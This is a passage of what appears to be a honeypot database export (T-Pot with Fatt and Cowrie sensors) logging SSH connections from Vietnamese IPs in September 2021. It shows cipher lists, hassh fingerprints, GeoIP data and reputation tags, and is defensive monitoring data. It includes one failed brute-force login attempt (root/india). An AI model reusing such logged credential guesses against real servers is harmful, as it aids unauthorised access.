"aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42828, "timestamp": "2021-09-20T11:06:32.691476", "@timestamp": "2021-09-20T11:06:32.691Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21209	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:32.719132+03	2021-09-20 14:15:03.366614+03	{"_id": "ugXiAnwBvYTbRNuE1_-N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 42828, "dest_port": 22, "timestamp": "2021-09-20T11:06:32.719132", "@timestamp": "2021-09-20T11:06:32.719Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21210	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:32.745559+03	2021-09-20 14:15:03.367642+03	{"_id": "uwXiAnwBvYTbRNuE1_-N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35704, "dest_port": 22, "timestamp": "2021-09-20T11:06:32.745559", "@timestamp": "2021-09-20T11:06:32.745Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21211	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:32.829005+03	2021-09-20 14:15:03.368645+03	{"_id": "vAXiAnwBvYTbRNuE1_-N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35148, "timestamp": "2021-09-20T11:06:32.829005", "@timestamp": "2021-09-20T11:06:32.829Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21212	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:32.905255+03	2021-09-20 14:15:03.370645+03	{"_id": "vQXiAnwBvYTbRNuE1_-N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40388, "timestamp": "2021-09-20T11:06:32.905255", "@timestamp": "2021-09-20T11:06:32.905Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21213	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:32.399755+03	2021-09-20 14:15:03.371643+03	{"_id": "vgXiAnwBvYTbRNuE1_-N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f63db593bb98", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:32.399755Z", "@timestamp": "2021-09-20T11:06:32.399Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21214	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:32.454651+03	2021-09-20 14:15:03.372645+03	{"_id": "vwXiAnwBvYTbRNuE1_-N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0a4b00568a57", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:32.454651Z", "@timestamp": "2021-09-20T11:06:32.454Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21216	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:32.7326+03	2021-09-20 14:15:03.375646+03	{"_id": "wQXiAnwBvYTbRNuE1_-N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "d86157a4cfc8", "@version": "1", "duration": 3.129000663757324, "timestamp": "2021-09-20T11:06:32.732600Z", "@timestamp": "2021-09-20T11:06:32.732Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21217	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:32.891096+03	2021-09-20 14:15:03.377652+03	{"_id": "wgXiAnwBvYTbRNuE1_-N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "f63db593bb98", "@version": "1", "timestamp": "2021-09-20T11:06:32.891096Z", "@timestamp": "2021-09-20T11:06:32.891Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21218	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:32.979975+03	2021-09-20 14:15:03.378643+03	{"_id": "wwXiAnwBvYTbRNuE1_-N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/india] failed", "session": "2290afe28b50", "@version": "1", "password": "india", "username": "root", "timestamp": "2021-09-20T11:06:32.979975Z", "@timestamp": "2021-09-20T11:06:32.979Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21219	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:33.09974+03	2021-09-20 14:15:03.379652+03	{"_id": "xAXiAnwBvYTbRNuE1_-N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", 